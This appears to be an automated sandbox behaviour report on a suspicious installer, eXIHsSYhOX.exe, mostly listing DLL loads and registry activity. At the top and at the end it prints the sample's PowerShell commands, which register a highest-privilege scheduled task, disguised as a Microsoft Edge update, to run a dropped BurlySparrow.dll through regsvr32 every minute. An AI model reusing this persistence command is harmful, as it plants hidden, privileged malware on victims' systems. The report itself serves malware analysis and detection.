Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{2F534156-472A-43D2-9350-94580B483BA3}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }"

Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: perfos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: pdh.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: perfos.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll

Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\File_is1

Jump to behavior

Source: eXIHsSYhOX.exe

Static file information: File size 2495440 > 1048576

Source: eXIHsSYhOX.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{2F534156-472A-43D2-9350-94580B483BA3}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }"
